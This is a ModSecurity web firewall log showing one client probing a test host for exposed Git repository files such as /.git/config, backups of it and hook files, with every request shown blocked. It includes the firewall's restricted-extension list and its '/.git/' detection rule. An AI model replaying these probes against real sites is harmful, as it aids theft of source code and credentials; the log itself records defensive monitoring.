[Sun Mar 01 20:25:37.398090 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPAAAAAI&quot;]
[Sun Mar 01 20:25:37.398319 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPAAAAAI&quot;]
[Sun Mar 01 20:25:37.398510 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPAAAAAI&quot;]
[Sun Mar 01 20:25:37.420741 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPQAAAAI&quot;]
[Sun Mar 01 20:25:37.420973 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPQAAAAI&quot;]
[Sun Mar 01 20:25:37.421141 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPQAAAAI&quot;]
[Sun Mar 01 20:25:37.443258 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPgAAAAI&quot;]
[Sun Mar 01 20:25:37.443487 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPgAAAAI&quot;]
[Sun Mar 01 20:25:37.443642 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPgAAAAI&quot;]
[Sun Mar 01 20:25:37.465915 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPwAAAAI&quot;]
[Sun Mar 01 20:25:37.466147 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPwAAAAI&quot;]
[Sun Mar 01 20:25:37.466317 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTPwAAAAI&quot;]
[Sun Mar 01 20:25:37.488747 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQAAAAAI&quot;]
[Sun Mar 01 20:25:37.488997 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQAAAAAI&quot;]
[Sun Mar 01 20:25:37.489165 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQAAAAAI&quot;]
[Sun Mar 01 20:25:37.511373 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQQAAAAI&quot;]
[Sun Mar 01 20:25:37.511669 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQQAAAAI&quot;]
[Sun Mar 01 20:25:37.511940 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQQAAAAI&quot;]
[Sun Mar 01 20:25:37.512126 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQQAAAAI&quot;]
[Sun Mar 01 20:25:37.534360 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQgAAAAI&quot;]
[Sun Mar 01 20:25:37.534697 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQgAAAAI&quot;]
[Sun Mar 01 20:25:37.534960 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQgAAAAI&quot;]
[Sun Mar 01 20:25:37.535197 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQgAAAAI&quot;]
[Sun Mar 01 20:25:37.557636 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQwAAAAI&quot;]
[Sun Mar 01 20:25:37.557895 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQwAAAAI&quot;]
[Sun Mar 01 20:25:37.558074 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTQwAAAAI&quot;]
[Sun Mar 01 20:25:37.580582 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRAAAAAI&quot;]
[Sun Mar 01 20:25:37.580842 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRAAAAAI&quot;]
[Sun Mar 01 20:25:37.581018 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRAAAAAI&quot;]
[Sun Mar 01 20:25:37.603352 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRQAAAAI&quot;]
[Sun Mar 01 20:25:37.603601 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aaSSsZIifMrob6GYX-HTRQAAAAI&quot;]
